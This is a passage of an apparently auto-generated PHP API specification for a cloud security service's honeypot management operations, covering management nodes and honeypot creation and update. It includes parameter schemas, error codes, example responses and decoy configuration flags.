honeypots to access the Internet. Valid values:'."\n" ."\n" .'* **true**: allows honeypots to access the Internet.'."\n" .'* **false**: does not allow honeypots to access the Internet.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'SecurityGroupProbeIpList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The CIDR blocks that are allowed to access the management node.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The CIDR block that is allowed to access the management node.'."\n", 'type' => 'string', 'required' => false, 'example' => '0.0.0.0/0', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'HoneypotNode' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'NodeId' => [ 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => '37a15ff1-3475-4897-aa6c-f7fd9122****', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidParam', 'errorMessage' => 'There was an error with your request.', ], [ 'errorCode' => 'NeedBuy', 'errorMessage' => 'This service shoule be purchased first.', ], [ 'errorCode' => 'AuthorizedProbeCannotReduce', 'errorMessage' => 'The number of authorized probes cannot be reduced.', ], [ 'errorCode' => 'InvalidProbeNum', 'errorMessage' => 'Invalid number of probes.', ], [ 'errorCode' => 'ProbeNumInsufficient', 'errorMessage' => 'The number of probes remaining is insufficient.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'Service error, please try again later.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"HttpStatusCode\\": 200,\\n \\"HoneypotNode\\": {\\n \\"NodeId\\": \\"37a15ff1-3475-4897-aa6c-f7fd9122****\\"\\n }\\n}","type":"json"}]', 'title' => 'CreateHoneypotNode', ], 'UpdateHoneypotNode' => [ 'summary' => 'Modifies the configuration of a specified management node.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'NodeName', 'in' => 'query', 'schema' => [ 'title' => '管理节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'required' => true, 'example' => 'HoneypotNodeTest', ], ], [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '管理节点id', 'description' => 'The ID of the management node.'."\n" ."\n" .'> You can call the [ListHoneypotNode](~~ListHoneypotNode~~) operation to query the IDs of management nodes.'."\n", 'type' => 'string', 'required' => true, 'example' => '67ab3f4c-3db5-4fc3-b51f-00f8bfabfa08', ], ], [ 'name' => 'SecurityGroupProbeIpList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The CIDR blocks that are allowed to access the management node.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The CIDR block that is allowed to access the management node.'."\n", 'type' => 'string', 'required' => false, 'example' => '10.0.0.0/24', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'AvailableProbeNum', 'in' => 'query', 'schema' => [ 'description' => 'The number of available probes.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '753D92B3-A062-544F-8E7B-C813AA9FA9FC', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidParam', 'errorMessage' => 'There was an error with your request.', ], [ 'errorCode' => 'NeedBuy', 'errorMessage' => 'This service shoule be purchased first.', ], [ 'errorCode' => 'AuthorizedProbeCannotReduce', 'errorMessage' => 'The number of authorized probes cannot be reduced.', ], [ 'errorCode' => 'InvalidProbeNum', 'errorMessage' => 'Invalid number of probes.', ], [ 'errorCode' => 'ProbeNumInsufficient', 'errorMessage' => 'The number of probes remaining is insufficient.', ], [ 'errorCode' => 'NodeNotExist', 'errorMessage' => 'The control node does not exist.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'Service error, please try again later.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"753D92B3-A062-544F-8E7B-C813AA9FA9FC\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'UpdateHoneypotNode', ], 'ListHoneypotNode' => [ 'summary' => 'Queries the information about management nodes.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'NodeName', 'in' => 'query', 'schema' => [ 'title' => '管理节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cyct_cnymu', ], ], [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '管理节点id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'required' => false, 'example' => '7d110ca6-05ee-4149-8042-13ad1a41fd****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PageResult', 'description' => 'PageResult'."\n", 'type' => 'object', 'properties' => [ 'HoneypotNodeList' => [ 'description' => 'An array that consists of the information about the management nodes.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'NodeId' => [ 'title' => '节点id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => '7d110ca6-05ee-4149-8042-13ad1a41fd****', ], 'NodeName' => [ 'title' => '节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'example' => 'cyct_cnymu', ], 'HoneypotTotalCount' => [ 'title' => '蜜罐上限数量', 'description' => 'The maximum number of honeypots that can be deployed to the management node.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'HoneypotUsedCount' => [ 'title' => '蜜罐使用数量', 'description' => 'The number of honeypots that are deployed to the management node.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'ProbeTotalCount' => [ 'title' => '探针上限数目', 'description' => 'The maximum number of probes that can be deployed for the management node.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'ProbeUsedCount' => [ 'title' => '探针使用数量', 'description' => 'The number of probes that are deployed for the management node.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'TotalStatus' => [ 'title' => '管理节点状态', 'description' => 'The status of the management node. Valid values:'."\n" ."\n" .'* **1**: normal'."\n" .'* **2**: abnormal'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'EcsInstanceId' => [ 'title' => '实例id', 'description' => 'The ID of the instance.'."\n", 'type' => 'string', 'example' => 'i-bp1fs3qsc1msa3512k****', ], 'CreateTime' => [ 'description' => 'The time when the management node was created.'."\n", 'type' => 'string', 'example' => '2022-08-04 15:52:56', ], 'SecurityGroupProbeIpList' => [ 'description' => 'An array consisting of the CIDR blocks that are allowed to access the management node.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The CIDR block that is allowed to access the management node.'."\n", 'type' => 'string', 'example' => '0.0.0.0/0', ], ], 'AllowHoneypotAccessInternet' => [ 'description' => 'Indicates whether a honeypot is allowed to access the Internet. Valid values:'."\n" ."\n" .'* **true**: The honeypot is allowed to access the Internet.'."\n" .'* **false**: The honeypot is not allowed to access the Internet.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'DefaultNode' => [ 'description' => 'The type of the management node. Default value: **false**. Valid values:'."\n" ."\n" .'* **false**: non-default type'."\n" .'* **true**: default type'."\n", 'type' => 'boolean', 'example' => 'false', ], 'NodeIp' => [ 'description' => 'The IP address of the management node.'."\n", 'type' => 'string', 'example' => '119.180.XX.XX', ], 'UpgradeAvailable' => [ 'description' => 'Indicates whether the management node can be upgraded. Valid values:'."\n" ."\n" .'* **false**: no'."\n" .'* **true**: yes'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '337BEA70-B03D-5370-8420-436F3FCD9924', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotNodeList\\": [\\n {\\n \\"NodeId\\": \\"7d110ca6-05ee-4149-8042-13ad1a41fd****\\",\\n \\"NodeName\\": \\"cyct_cnymu\\",\\n \\"HoneypotTotalCount\\": 10,\\n \\"HoneypotUsedCount\\": 2,\\n \\"ProbeTotalCount\\": 5,\\n \\"ProbeUsedCount\\": 2,\\n \\"TotalStatus\\": 1,\\n \\"EcsInstanceId\\": \\"i-bp1fs3qsc1msa3512k****\\",\\n \\"CreateTime\\": \\"2022-08-04 15:52:56\\",\\n \\"SecurityGroupProbeIpList\\": [\\n \\"0.0.0.0/0\\"\\n ],\\n \\"AllowHoneypotAccessInternet\\": true,\\n \\"DefaultNode\\": false,\\n \\"NodeIp\\": \\"119.180.XX.XX\\",\\n \\"UpgradeAvailable\\": true\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 2\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"337BEA70-B03D-5370-8420-436F3FCD9924\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListHoneypotNode', ], 'DeleteHoneypotNode' => [ 'summary' => 'Deletes a specified management node.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '管理节点id', 'description' => 'The ID of the management node.'."\n" ."\n" .'> You can call the [ListHoneypotNode](~~ListHoneypotNode~~) operation to query the IDs of management nodes.'."\n", 'type' => 'string', 'required' => true, 'example' => '670baeee-86c4-46b9-8200-a2c38141a453', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '49FDE92F-A0B8-56CC-B7A8-23B17646CCAD', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"49FDE92F-A0B8-56CC-B7A8-23B17646CCAD\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DeleteHoneypotNode', ], 'GetHoneypotNode' => [ 'summary' => 'Queries the details of a specified management node.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '管理节点id', 'description' => 'The ID of the management node.'."\n" ."\n" .'> You can call the [ListHoneypotNode](~~ListHoneypotNode~~) operation to query the IDs of management nodes.'."\n", 'type' => 'string', 'required' => true, 'example' => 'd3dd3864-4e02-4abd-8b6a-8f5f6fec4715', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'type' => 'string', 'required' => false, 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English', 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotNode' => [ 'description' => 'The details of the management node.'."\n", 'type' => 'object', 'properties' => [ 'NodeId' => [ 'title' => '节点id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => 'a7409a58-bc60-41af-9d36-080d58ae****', ], 'NodeName' => [ 'title' => '节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'example' => 'gmmc', ], 'HoneypotTotalCount' => [ 'title' => '蜜罐上限数量', 'description' => 'The maximum number of honeypots that can be deployed to the management node.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'HoneypotUsedCount' => [ 'title' => '蜜罐使用数量', 'description' => 'The number of honeypots that are deployed to the management node.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'ProbeTotalCount' => [ 'title' => '探针上限数目', 'description' => 'The maximum number of probes that can be deployed for the management node.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'ProbeUsedCount' => [ 'title' => '探针使用数量', 'description' => 'The number of probes that are deployed for the management node.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], 'TotalStatus' => [ 'title' => '管理节点状态', 'description' => 'The status of the management node. Valid values:'."\n" ."\n" .'* **0**: preparing'."\n" .'* **1**: normal'."\n" .'* **2**: abnormal'."\n" .'* **4**: starting'."\n" .'* **5**: upgrading'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'EcsInstanceId' => [ 'title' => '实例id', 'description' => 'The ID of the instance.'."\n", 'type' => 'string', 'example' => 'i-2vccskxjunf1ag6w****', ], 'CreateTime' => [ 'title' => '创建时间', 'description' => 'The time when the management node was created.'."\n", 'type' => 'string', 'example' => '2022-12-02 17:13:43', ], 'SecurityGroupProbeIpList' => [ 'title' => '放行网段', 'description' => 'An array consisting of the CIDR blocks that are allowed to access the management node.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The CIDR block that is allowed to access the management node.'."\n", 'type' => 'string', 'example' => '10.0.0.0/24', ], ], 'AllowHoneypotAccessInternet' => [ 'description' => 'Indicates whether a honeypot is allowed to access the Internet. Valid values:'."\n" ."\n" .'* **true**: The honeypot is allowed to access the Internet.'."\n" .'* **false**: The honeypot is not allowed to access the Internet.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'NodeIp' => [ 'description' => 'The IP address of the management node.'."\n", 'type' => 'string', 'example' => '101.37.XX.XX', ], 'UpgradeAvailable' => [ 'description' => 'Indicates whether the management node can be upgraded. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0A453658-070B-5554-B46C-867425BE4FD4', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotNode\\": {\\n \\"NodeId\\": \\"a7409a58-bc60-41af-9d36-080d58ae****\\",\\n \\"NodeName\\": \\"gmmc\\",\\n \\"HoneypotTotalCount\\": 10,\\n \\"HoneypotUsedCount\\": 5,\\n \\"ProbeTotalCount\\": 20,\\n \\"ProbeUsedCount\\": 15,\\n \\"TotalStatus\\": 2,\\n \\"EcsInstanceId\\": \\"i-2vccskxjunf1ag6w****\\",\\n \\"CreateTime\\": \\"2022-12-02 17:13:43\\",\\n \\"SecurityGroupProbeIpList\\": [\\n \\"10.0.0.0/24\\"\\n ],\\n \\"AllowHoneypotAccessInternet\\": true,\\n \\"NodeIp\\": \\"101.37.XX.XX\\",\\n \\"UpgradeAvailable\\": true\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0A453658-070B-5554-B46C-867425BE4FD4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetHoneypotNode', ], 'CreateHoneypot' => [ 'summary' => 'Creates a honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'HoneypotImageName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the honeypot image.'."\n" ."\n" .'> You can call the [ListAvailableHoneypot](~~ListAvailableHoneypot~~) operation to query the names of images from the **HoneypotImageName** response parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => 'HoneyPotImageName', ], ], [ 'name' => 'HoneypotName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐自定义名称', 'description' => 'The custom name of the honeypot.'."\n", 'type' => 'string', 'required' => true, 'example' => 'ruoyi', ], ], [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐管理节点唯一id', 'description' => 'The ID of the management node.'."\n" ."\n" .'> You can call the [ListHoneypotNode](~~ListHoneypotNode~~) operation to query the IDs of management nodes.'."\n", 'type' => 'string', 'required' => true, 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], [ 'name' => 'HoneypotImageId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐镜像ID', 'description' => 'The ID of the honeypot image.'."\n" ."\n" .'> You can call the [ListAvailableHoneypot](~~ListAvailableHoneypot~~) operation to query the IDs of images from the **HoneypotImageId** response parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sha256:ebc4c102ac407d53733c2373e8888a733ddce86f163ccbe7492ae1cbf26****', ], ], [ 'name' => 'Meta', 'in' => 'query', 'schema' => [ 'description' => 'The custom configuration of the honeypot in the JSON format. The value contains the following fields:'."\n" ."\n" .'* **trojan_git**: Git-specific Defense. Valid values:'."\n" ."\n" .' * **zip**: Git Source Code Package'."\n" .' * **web**: Git Directory Leak'."\n" .' * **close**: Disabled'."\n" ."\n" .'* **trojan_git_addr**: Git Trojan Address.'."\n" ."\n" .'* **trojan_git.zip**: Git Trojan.'."\n" ."\n" .'* **burp**: Burp-specific Defense. Valid values:'."\n" ."\n" .' * **open**: Enable'."\n" .' * **close**: Disable'."\n" ."\n" .'* **portrait_option**: Source Tracing Configuration. Valid values:'."\n" ."\n" .' * **false**: Disable'."\n" .' * **true**: Enable'."\n", 'type' => 'string', 'required' => false, 'example' => '{\\"trojan_git\\":\\"close\\",\\"burp\\":\\"close\\",\\"portrait_option\\":\\"false\\"}', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The information about the honeypot.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotId' => [ 'title' => '蜜罐ID', 'description' => 'The ID of the honeypot.'."\n", 'type' => 'string', 'example' => '9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****', ], 'HoneypotName' => [ 'title' => '蜜罐自定义名称', 'description' => 'The custom name of the honeypot.'."\n", 'type' => 'string', 'example' => 'ruoyi', ], 'ControlNodeName' => [ 'title' => '蜜罐管理节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'example' => 'managerNodename', ], 'HoneypotImageName' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'tcp_proxy', ], 'PresetId' => [ 'title' => '蜜罐自定义参数ID', 'description' => 'The ID of the custom configuration for the honeypot.'."\n", 'type' => 'string', 'example' => 'ddh3731641137fe4b72b245346a2721d4b6tdgg3731641137fe4b72b245346a2721***', ], 'State' => [ 'title' => '蜜罐状态', 'description' => 'An array that consists of the status information about the honeypot.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status of the honeypot. Value:'."\n" .'- **starting**: starting'."\n" .'- **running**: normal'."\n" .'- **exited**: closed'."\n" .'- **upgrade**: updating'."\n" .'- **deleting**: deleting'."\n" .'- **resetting**: resetting'."\n" .'- **created**: created'."\n" .'- **stopping**: stopping', 'type' => 'string', 'example' => 'starting', ], ], 'HoneypotImageDisplayName' => [ 'title' => '蜜罐镜像显示名称', 'description' => 'The display name of the honeypot image.'."\n", 'type' => 'string', 'example' => 'HoneyDisplayName', ], 'NodeId' => [ 'title' => '管理节点唯一id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '29874225-EAAC-5415-8501-32DD20FD29F6', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****\\",\\n \\"HoneypotName\\": \\"ruoyi\\",\\n \\"ControlNodeName\\": \\"managerNodename\\",\\n \\"HoneypotImageName\\": \\"tcp_proxy\\",\\n \\"PresetId\\": \\"ddh3731641137fe4b72b245346a2721d4b6tdgg3731641137fe4b72b245346a2721***\\",\\n \\"State\\": [\\n \\"starting\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"HoneyDisplayName\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"29874225-EAAC-5415-8501-32DD20FD29F6\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'CreateHoneypot', ], 'UpdateHoneypot' => [ 'summary' => 'Modifies the configuration of a specified honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'Meta', 'in' => 'query', 'schema' => [ 'description' => 'The custom configuration of the honeypot.'."\n" ."\n" .'> You can call the [ListAvailableHoneypot](~~ListAvailableHoneypot~~) operation to query the configurations of honeypots from the **Template** response parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '{\\"burp\\":\\"open\\",\\"webshell\\":\\"open\\",\\"trojan_git\\":\\"close\\",\\"portrait_option\\":\\"true\\"}', ], ], [ 'name' => 'HoneypotId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐唯一ID', 'description' => 'The ID of the honeypot.'."\n" ."\n" .'> You can call the [ListHoneypot](~~ListHoneypot~~) operation to query the IDs of honeypots.'."\n", 'type' => 'string', 'required' => true, 'example' => '945607c2ae2a1a737c04599d6608065688bfc6048d9b9d306ce8dc8191c278b4', ], ], [ 'name' => 'HoneypotName', 'in' => 'query', 'schema' => [ 'title' => 